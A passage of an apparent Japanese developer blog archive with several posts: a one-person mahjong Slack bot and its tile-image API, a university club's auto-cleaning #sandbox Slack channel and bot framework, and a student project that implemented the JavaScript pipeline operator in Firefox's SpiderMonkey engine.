プレイヤーは「打◯◯」もしくは「ツモ切り」と発声することでゲームを進行させる。和了るか流局するとゲーム終了である。

f:id:hakatashi:20171203182633p:plain

得点は引き継がれ、チーム内全体で共有される。なのでなかなかスリルがある。

一人麻雀のルール

筆者が調べた限り、一人で行う麻雀に関する統一的なルールは存在しない。なので以下のルールは主に筆者が調整したものだが、プレイしている部員からのゲームバランスの評価は高い。

  • 最初の持ち点として25000点を与えられる。
  • ゲームの最初に13牌の手牌を並べ、17回の摸打で和了を目指す。
  • 配牌するたびに場代1500点を支払う必要がある。
  • 和了った場合通常の麻雀と同じように得点計算が行われ、その点数を獲得する。
  • 17回の摸打で和了れなかった場合、流局となる。このときノーテンだと不聴罰符として3000点を取られる。
  • リーチすると一巡ごとに河として牌を三つ公開する。この中に当たり牌が含まれていた場合ロンとなる。リーチ前のロンはできない。
  • リーチ状態で流局した場合、供託点1000点が支払われる (供託点は返ってこない)。
  • 持ち点が0点を下回るか50000点を上回った場合、勝敗が記録され点数がリセットされる。
  • ポン・チー・カンは存在しない。暗槓も (今のところ) できない。
  • 場局は常に東一局、プレイヤーが親となる。(なので東の刻子は常にダブ東である)
  • 誤ツモ・誤ロン・不聴立直は満貫払いの錯和である。

通常の麻雀で必要とされる、相手の河から手牌を読むという一番不毛な考えさせられる手順を必要としないので、気軽にプレイできると評判である。

ちなみに現在までの最大得点は倍満24000点で、2回出ている。

f:id:hakatashi:20171203181959p:plain

f:id:hakatashi:20171203181955p:plain

技術的な話

ソースコードはこちら。

github.com

Node.jsで実装されている。得点とか役の計算とかは自前で実装なんてやってられないので、riichi-coreというライブラリを使用させて頂いている。このライブラリは四人麻雀のゲーム進行全体を実装したものなのだが、無理くりいじって得点計算の部分だけ流用した。

Slackとの繋ぎ込み、ゲームの進行、得点管理、ドラ・天和・海底摸月・ダブルリーチ・一発などの判定はこのライブラリでは賄えないので自前で実装してある。

手牌画像生成

画像生成はmahjong.hakatashi.comに投げている。これは本来別の目的のために実装したものだが、一人麻雀BOTのために大幅に改造したので、ついでに解説する。

ソースコードはこちら。

github.com

mahjong.hakatashi.comは、任意の手牌画像を生成できる Web API である。Unicodeの麻雀文字を使用して以下のようなURLにアクセスすると、いい感じの画像が降ってくる。

例: https://mahjong.hakatashi.com/images/🀊🀊🀋︀🀋🀌🀌🀜🀝︀🀓🀔︀🀕🀘🀘🀞?王牌=🀫🀫🀅🀫🀫🀫🀫🀫🀫🀫🀫🀫🀫🀫

f:id:hakatashi:20171203184216p:plain

赤ドラは赤くしたい牌の直後に U+FE00 を挿入すると表現できる。

画像生成はかなりお手軽実装で、「snap.svgSVG生成 → electronでPNGに変換」という手順を取っている。Web技術だけで完結するので非常に楽ちんだが、バックでいちいちブラウザを起動しているのでとてつもなく重い*1。余裕があればimagemagickとかに置き換えて高速化したいところ。

今後

  • Hubotへの移植
  • 暗槓の実装
  • 三麻モードの実装

他のSlackチームへの移植もご自由にどうぞ (今のところかなりめんどくさそうだが)。プルリクも待ってます。

明日は@_gacinがなにか書きます。

*1:なのでむやみにアクセスされると死ぬ

TSG民の生活を特に支えていないSlackbotたち

※この記事は TSG Advent Calendar 2017 2日目の記事です。堂々と遅刻宣言するスタイル。

おそらく他の多くのプログラマー団体がそうであるように、TSGもサークル内でSlackを大いに活用し、その恩恵に大いに預かっている。

この記事ではそんなTSGのSlackに導入されている、#sandboxという一風変わったチャンネルと、そこで動く、箸にも棒にも掛からないようなSlackbotたちを紹介する。

TL;DR

  • TSGのSlackにはBOT用のチャンネル#sandboxが存在する
  • #sandboxでは古いメッセージが自動的に削除される
  • 加えて、部員のBOTコードを一元的に管理し、幸せなSlackbot開発を支えている

#sandboxとは?

Slackbotを作るのは楽しい。TSGでは部員の技術研鑽のためにもSlackbotの開発を奨励している (?) が、そんなSlackbotの欠点は、時として非常にウザがられるということである。

過剰に反応するBOTが通常の人間同士の会話にたびたび割り込んでくると、会話の流れを追いにくくなるし不要な通知も多く届くことになる。毎日のチャットを便利にしようと開発したBOTが逆に鬱陶しがられることも少なくない。

この二律背反を解決するために、TSGでは#sandboxというチャンネルを用意している。このチャンネルは、主にBOTとの会話や会話未満のチャットをするための部屋で、情報量の少ないチャットを隔離し、人間の会話との棲み分けをするために設けられている。実装したSlackbotの中でも、特にくだらない実用的でないものはこのチャンネルの中でのみ動作するようになっている。

これだけならただのBOT用チャンネルだが、#sandboxには多くのBOT向けの特殊な機能が実装されている。その一つが、24時間以上経過したメッセージが自動的に削除される機能である。

sandboxクリーナー

TSGはSlackの無料プランを使用しているので、履歴として見れるメッセージの数に限りがある。BOTが投稿するメッセージは時として膨大な量になるので、大量のpostで他のチャンネルの会話を不要に消してしまいかねない。

そこで、TSGでは#sandboxにpostされた投稿は、24時間以上経過したものから順次削除し、さらに削除したメッセージをログとして保存しておくようにしている。

技術的にはクリーナーを定期実行しているのは Heroku Scheduler、ログの保存先は AWS DynamoDB である。サーバーレス最高。

ログの保存は当初 Heroku Postgres を使用していたのだが、10000レコードのレコード制限に引っかかるのと、SlackのpostはJSON構造をしておりRDBに不向きであるので、スキーマレスなDynamoDBに移行した。

記事執筆時点で、20,891レコードが記録されている (多すぎ)。ちなみに、DynamoDBは無料枠の25unit/sをすべてここに注ぎ込んでいる。レコード数的にはもっと少なくていいはずなのだが、バッチ処理をしているのでどうしてもこれくらいの処理能力が必要なようである。機会があれば Google Cloud Datastore などへの移行を検討したい。

sandboxクリーナーのソースコードはこちら。 https://github.com/tsg-ut/tsgbot/blob/master/sandbox-cleaner.js

Slackbotフレームワーク

TSGでは部員がSlackbotを作る機会が非常に多いので、BOTを一元管理するための仕組みが存在する。特に常時起動する必要があるタイプのBOTを動かすときには、一元化されたアプリケーションに部員のコードを取り込むことでリソースを削減することができる。

github.com

また、BOTアカウントを作成する時は、各部員が各々tokenを取得するとSlackのアプリケーション数制限に引っかかってしまうので、Slackbot用に使用するBOTアカウントを一つ決め、これを部内で共有することで無意味にtokenが増えることを防いでいる。

コードはNode.jsで実装され、TSGのサーバーで動いている。Herokuにデプロイしてもよいのだが、無料枠で利用してsleepされると困るのでここだけ自分たちで管理している。

まとめ

TSGのSlackのBOT事情の大枠を解説した。具体的に実装されているSlackbotの内容は各TSG部員が明日以降の Advent Calendar で解説してくれるはず⋯⋯と信じている。

Firefoxにパイプライン演算子を実装した

主に大学とバイトで忙しくオープンソース的な活動がしばらくできていない@hakatashiだが、大学の実験でSpiderMonkeyの開発に参加し、なおかつ本家にマージされるという貴重な経験を得たので、これまでの経緯とかをまとめておく。

かつ、本実験では実験レポート代わりにブログ記事を1つ書くことになっている (すごい) ので、そちらのレポートも兼ねている。

相方のブログエントリはこちら:

siquare.hatenablog.com

SpiderMonkeyとは

SpiderMonkeyとは、JavaScriptの処理系の一つである。フロントエンドエンジニアならばまず知らない人はいない。主にMozillaが保守・開発を行っており、Firefoxブラウザに標準で搭載されている。あまり知られてないが当初は Netscape Browser に搭載するために実装されたJSエンジンであり、同時に世界で初めてブラウザに実装されたJSエンジンでもある。

SpiderMonkeyの処理系としての大きな特徴は、JavaScriptコードを実行する際に、一度中間言語であるバイトコードに変換してからインタプリタに通すという点である。この点で、直接マシンコードに落とし込んで実行するV8などの他のJSエンジンとは大きく異なる。これはある意味プラットフォームに応じた最適化がやりづらいとも言えるが、一方でコンパイラのコードがフロントエンドとバックエンドにはっきりと分離できるため、可搬性が高く、開発にかかるコストが低いのも特徴である。今回SpiderMonkeyに新しい機能を実装する際にも、この構成に大いに助けられた。

実装までの経緯

本来ならば、こんな大規模プロジェクトに、しがないフロントエンドエンジニアであるところの僕が関わる機会はまず無いのだが、どういうわけかガッツリと関わりを持ってしまった。これもいろんな偶然と人との出会いがあった故である。

僕が通っている電気系の学科で行われる実験の一つに、「大規模ソフトウェアを手探る」というタイトルのものがある。これは一言で言うと「大規模なOSSプロジェクトを一つ選び、何かコントリビュートする」という実験 (?) で、シンプルながら非常に意欲的な内容である。オープンソース主義者であるところの僕も当然ワクワクする実験だったのだが、さらに驚くべきはこの実験を担当するTAの一人がMozillaのコミッターであり、Firefoxリポジトリに日常的にパッチを投げ続ける、まさに「JavaScriptのプロ」であったという点である。実験中にもレクチャーがあったが、実験課題としてSpiderMonkeyを選択した場合、なんとその場で彼がコードレビューして、本体にマージすることも可能であるとのこと。

実験を通して@siquareとペアを組んだ僕は、2人で相談して「SpiderMonkeyに新しい言語機能を追加する」という課題に取り組むことに決めた。お互いJSエンジンへのコントリビュート経験もなくやや敷居の高そうな内容だったが、TAの一人がMozillaのコミッターであること、2人ともJavaScriptには日常的に世話になっていること、そしてこんな機会はめったに巡ってこないであろうことを考えて、すこし背伸びをしてみることにした。

タイムライン

実験に割り当てられた時間は10日間あった。タイムラインは以下のような感じである。

  • 1日目: 実験に関する大まかなレクチャー。
  • 2日目: 実験で苦楽を共にするペアを組む。取り組む課題を決める。環境構築。パイプライン演算子のドラフトを読む。
  • 3日目: 環境構築。トークナイザの修正。
    • この時点で@siquareがすでにトークナイザを完成させてASTを吐けるようになっていた。はっやーい。
    • そのころ@hakatashiはいまだに環境構築をしていた。
  • 4日目: バイトコードエミッタの修正。
    • ASTをバイトコードに変換する処理。ソースコードで言うところのBytecodeEmitter.cppに相当する。
    • 既存の関数呼び出しのバイトコードを吐いてる所を流用して書いたら、一応それっぽいものが動いた。
      • 提案書に書いてあるサンプルコードとかもちゃんと正しく動いたので、この時点でもう勝った気になっていた。
  • 5日目: 演算子の優先順位の修正。テストの記述。
    • 演算子の優先順位をより仕様に沿った形に修正。および仕様へのフィードバック (後述)。
      • この作業にだいぶ詰まって時間を溶かす。
    • テストは書き慣れたJavaScriptで記述する。楽しい!!
  • 6日目: テストを完成させる。優先順位問題の解決。評価順問題について検討。
    • 一応リグレッションがないように他のテストも全て走らせたところEC2の4コアマシンで8時間程度かかった。世の中のFirefox開発者の開発用マシンはどうなっているのだろうか。
  • 7日目: 評価順問題の解決。Reflect.parse API の実装。Bugzillaにパッチを投げる。
    • Reflect.parseは、SpiderMonkeyのJS部分から利用できるAPIで、JSコードの文字列をパースしてASTをJSオブジェクトとして取得できる関数である。
      • これのデバッグ自体にパイプライン演算子を使ったら、とてつもなく便利だった。誰だこれ実装したの。
      • 例: '10 |> parseInt' |> Reflect.parse |> (_ => JSON.stringify(_, null, ' ')) |> print
    • 実際に投げたパッチはこれ 1405943 - Implement Pipeline Operator |>
  • 8日目: コードレビュー (1回目)。
    • ありがたいことに翌日にはBugzilla上でTAからコードレビューを受けることができたが、不真面目な学生なので実験当日まで放置していた。
    • TA以外からもコメントを受け、configure flag の下にコードを隠すようにしたのもこのタイミング。
    • 2人がかりで修正し、再度パッチを投げる。
  • 9日目: コードレビュー (2回目)。
    • 本家masterへのrebase作業や、パッチ分割作業など。
    • 再度修正し、パッチを投げる。
  • 10日目: 最終発表
    • ⋯⋯があったらしいが、@hakatashiは今年最大級の絶起をキメてしまったため痛恨の欠席。
    • https://pbs.twimg.com/profile_images/3422504765/31886cb104d4d32f9a8e5110dba047eb.png

パイプライン演算子とは

JavaScriptは現在、仕様に関する議論が最も盛んな言語である。新しい機能や構文を追加するためのドラフトが日夜更新され、それを正式な仕様に組み込むための議論や実装が日々進められている。僕らが今回実装した「パイプライン演算子」も、そうしたドラフトの仕様の一つである。

「パイプライン演算子」は、関数呼び出しの新しい文法を定義する演算子で、執筆時点ではstage-1の提案である。

通常、JavaScriptの関数呼び出しは以下のように記述される。

print('hoge');

なんのことはない、他の言語でも見慣れた、丸括弧を用いた記法である。この文法の問題点は、関数呼び出しの多重ネストを行った時にコードの可読性が大きく下がるというものだ。例えば、

print(Boolean(parseInt(getChars(100))));

という感じである。処理の順番としては getCharsparseIntBooleanprint となるはずなのに、コード上では記述する順番が逆転してしまう。これは見方にもよるだろうが、確かに読みづらいかもしれない。

これを解決するために提案されているのが、パイプライン演算子である。上のコードをパイプライン演算子で記述すると、以下のようになる。

100 |> getChars |> parseInt |> Boolean |> print;

見ての通り、関数と引数の順番が逆転している。これにより関数呼び出しを「実際に処理される順番に」記述することができ、コードの可読性が上がる⋯⋯というのがこの演算子が提案された所以である。

関数呼び出しというプログラムの根幹に関わる変更で、個人的に言わせてもらえばヤバい文法といった印象だが、実はこのパイプライン演算子は他の言語でも意外と実装されている。有名どころで言うと Julia, OCaml, F#, Elixir, さらにはLiveScriptやElmといったAltJS系の言語でもこの演算子は実装されている。こうした背景にはLiveScriptやElmのようにJavaScript関数型言語化を推し進めようという流れがあり、pappの陽な仕様を提案しているコミュニティと深いつながりがあったりなかったりするのだが⋯⋯ともかく、関数呼び出しを便利に書ける演算子だということが一番重要なポイントである。

詳しい話は以下あたりの記事が詳しい。

qiita.com

abouthiroppy.hatenablog.jp

今回、SpiderMonkeyに実装する新機能として、このパイプライン演算子の先行実装を選択した。理由はいくつかあるが、主なものは、

  1. 「新しい演算子」という、ユーザーの目に見える部分の実装で、個人的にモチベーションが高かったため
  2. SpiderMonkey (や、その他ブラウザ) で、既に提出されているパッチや実装がなかったため
  3. 関数呼び出しという、既に存在する機能に対する文法なので、バイトコードから先の実装は変更しなくてよく、実装が軽そうに見えたため
  4. この仕様を先行実装するBabelプラグインが存在し、実装も数十行程度とシンプルだったため

という感じである。

開発

実際の開発は、相方の@siquareと協力して淡々と進めていった。最終的に本家に送信したパッチは、実装部分が@siquare, テスト部分が僕という分割がされているが、実際には特にどちらがどちらを担当したということはなく、お互いが実装とテストを行ったり来たりしながら開発を進めていった。

実装に関して、細かい話は@siquareのブログエントリに書いてあるので省略するが、特に難しかったというか、意外なつまづきポイントだったのが「関数と引数の評価順の問題」だった。

例えば、以下のコード

print(hoge);

と、

hoge |> print;

は、ほぼ同じ動作をするが、厳密には等価ではない。これは実装している最中にパイプライン演算子のドラフト仕様を読んでいて発見したことだが、通常の関数呼び出しでは「関数」→「引数」という順番 (printhoge) で評価が行われるのに対し、パイプライン演算子では「引数」→「関数」という順番 (hogeprint) で評価が行われることになっている。要するにコードに記述した順番に評価が行われるのだ。

確かにコードを書く側からすればそっちのほうが直感的かもしれない。しれないが実装する側からするとこれは少し考えものである。というのも僕らの実装ではSpiderMonkey中間言語であるバイトコード自体には手を付けず、パイプライン演算子を既存の関数呼び出しのバイトコードに変換するという手法を取っていた。それなのに厳密には直接の関数呼び出しとは違うとなるとだいぶ困ってしまう。これを厳密に「仕様に忠実に」実装するために大いに悩んだが、最終的にはpickというバイトコードの命令を用いて、「引数」→「関数」の順番でスタックに積んだあと、スタックを回転してから関数呼び出しの命令を実行することで解決した。

仕様へのフィードバック

今回開発を進める上で僕が特に注力したのは、実際のパイプライン演算子の実装というよりもむしろ、社会的な活動のほうだった。実験中にTAも仰っていたとおり、まだ仕様として固まっていないドラフトをJSエンジンに先行実装する意義とは、実際に実装を行ってみて得られた経験や、ユーザーが新しい仕様を使った時の知見を、フィードバックとして仕様に還元することにある。パイプライン演算子に関する議論はおもにGitHubで今も激しく行われているが、実際にJSエンジンに実装してみたのは (おそらく) 僕らが最初ということもあって、実際に実装して初めて得られた疑問や知見などを積極的に仕様にフィードバックしていこうと考えていた。

パイプライン演算子の優先順位問題

そんな中で特に難しい問題だったのは、演算子の優先順位の問題である。

パイプライン演算子の優先順位をどのように定義するかに関して、執筆時点ではまだ仕様が確定していないが、なるべく優先度を低くするという点で見解は概ね一致しているようである。というのも、パイプライン演算子は複数連ねて書くので他の演算子と組み合わせた時に括弧無しで書けるのが望ましく、また見た目にも「大きい」演算子なので、優先順位が低いほうが直感的であるというのが主な理由である。

このような流れもあって、当初はこの意向に従い、「あらゆる演算子の中で最も優先順位が低い」という実装を行う予定だった。しかし実際に実装してみると、思わぬ壁にぶちあたった。

今回はじめて知ったことだが、実はJavaScriptの演算子の優先順位は、「単項演算子」→「二項演算子」→「三項演算子」という順番で並んでいる。ふだんJavaScriptを書いていて意識したことはなかったが、言われてみればたしかにそうである。SpiderMonkeyではこの仕様を受けて、演算子が取る引数の数を最初に見て、まずはその順に優先順位を確定させてしまうという実装になっていた。

今回僕らは三項演算子 (?:) よりもパイプライン演算子の優先順位を低く設定しようとしたため、SpiderMonkeyのコードに大きな変更を加えなければいけないことに気がついた。これには多大な労力を伴う上に、「単項演算子」→「二項演算子」→「三項演算子」というJavaScript演算子の優先順位のルールを崩すことになってしまう。果たして本当にパイプライン演算子の優先順位は「全ての演算子の一番下」であるべきかと疑問に思った僕らは、パイプライン演算子の提案に対してその旨フィードバックし、実装は「二項演算子の一番下」で行うことにした。

(なお、ドラフトの仕様では最初から「二項演算子の一番下」という優先順位になっている。)

スプレッド演算子との組み合わせ

もう一つ、関数呼び出しのコードを手探っていて気になったのは、スプレッド演算子に対する対応である。

ES2015で定義された比較的新しい関数呼び出しの文法に、スプレッド演算子が存在する。例えば、以下のコード

const array = [1, 2, 3];
print(...array);

は、

print(1, 2, 3);

とほぼ等価である。

これをパイプライン演算子に応用するとどうなるのかを考えたところ、以下のような文法が考えられるのではないかと考えた。

...array |> print;

ヤバいを通り越してバイオハザードのコードだが、いちおう論理的には辻褄が合っている⋯⋯かもしれない。

こういった応用手法に関して突っ込んだ議論は見られなかったので、実装していて考えたことをいくつかまとめて、新たにIssueを立てた。さすがにあまりポジティブな反応は得られなかったが、パイプライン演算子の提案を前に進めるためにいちおう一定の貢献はできたのではないかと考えている。

本家コードへのマージ

そんなこんなで紆余曲折を経て、SpiderMonkeyに仕様どおりのパイプライン演算子を実装することができた。

stage-1の提案というかなり実験的な機能だということもあって、当初は本家のコードへのマージは現実的でないと考えていたが、TAの尽力もあって、configure flag 付きという条件のもとで本家ブランチへのマージができるようになった。要するに現時点では配布版のFirefoxのビルドには含まれないし、この演算子を試すにはソースからビルドし直さないといけないけれど、ソースコードには残して貰えるということである。

2回のコードレビューを経て、約束通り本家ブランチにマージして頂き、コミット履歴に僕と@siquareの名前を残すことができた。我々エンジニアにとってはこれ以上ない栄誉である。

hg.mozilla.org上のコミット:

GitHub上のコミット:

というわけで、僕も@siquareも、今では立派な (?) Firefoxコントリビューターである。

今回実装したパイプライン演算子を今すぐ試したい場合は、このページの手順に従ってSpiderMonkeyをビルドする必要がある。その際、./configureのフラグに、--enable-pipeline-operatorをつけるのをお忘れなく。

全体を通しての感想

まず何よりも、本実験を統括してくださった田浦先生、ならびに実験を通して非常にお世話になったTAの藤澤さんに深い感謝を。ありがとうございます。お世辞抜きで最高の実験でした。最終日は本当に申し訳ありませんでした。

加えて、実験ペアの@siquareにも大きな感謝を。最初から最後まで迷惑かけっぱなしで、最終発表に加えてこの実験レポートの執筆も遅れに遅れてしまったので本当に反省したい。謝謝。

そして何度でも書くが、今回の実験でSpiderMonkeyにコントリビュートするという貴重な経験を得ることができて、感激の至りである。やっぱり普段の活動ではこういったプロダクションレベルの大規模OSSに関わるチャンスは少なく、特にSpiderMonkeyのような基盤的なソフトウェアには逆に苦手意識すらあったので、これを機に他のOSSにも手を出していけたらと思っている。

実験全体を通して、レポート代わりのブログ記事や、毎回の進捗発表の時間など、先進的な取り組みを多く取り入れていて、参加して非常に楽しい実験だった。EEICの名物実験と銘打ってもいいくらいだと思う。もしこの記事を読んで実験に興味を持った東大生がいたら、ぜひ電気系に進学してほしい。というわけで、#進振りはEEICへ